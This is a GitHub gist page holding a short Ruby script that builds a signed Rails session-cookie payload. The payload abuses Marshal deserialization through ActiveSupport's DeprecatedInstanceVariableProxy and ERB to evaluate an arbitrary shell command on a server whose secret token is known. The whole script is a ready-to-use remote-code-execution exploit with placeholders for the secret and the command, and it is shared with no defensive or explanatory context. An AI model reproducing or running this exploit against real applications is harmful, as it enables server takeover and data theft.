-
-
Save abdulsec/b6caea7f566d7384f388eb7a47a9bd88 to your computer and use it in GitHub Desktop.
Revisions
-
rootxharsh created this gist
Jul 19, 2018 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,22 @@ #THIS IS COPIED FROM SOME WHERE. I just saved it in my gists so this can come handy to others require 'base64' require 'openssl' require 'optparse' require 'open-uri' SECRET_TOKEN = "SECRET HERE" code = "eval('`COMMAND HERE`')" marshal_payload = Base64.encode64( "\x04\x08" + "o" + ":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" + "\x07" + ":\x0E@instance" + "o" + ":\x08ERB" + "\x06" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0C@method" + ":\x0Bresult" ).chomp digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new("SHA1"), SECRET_TOKEN, marshal_payload) marshal_payload = URI::encode(marshal_payload) puts "#{marshal_payload}--#{digest}"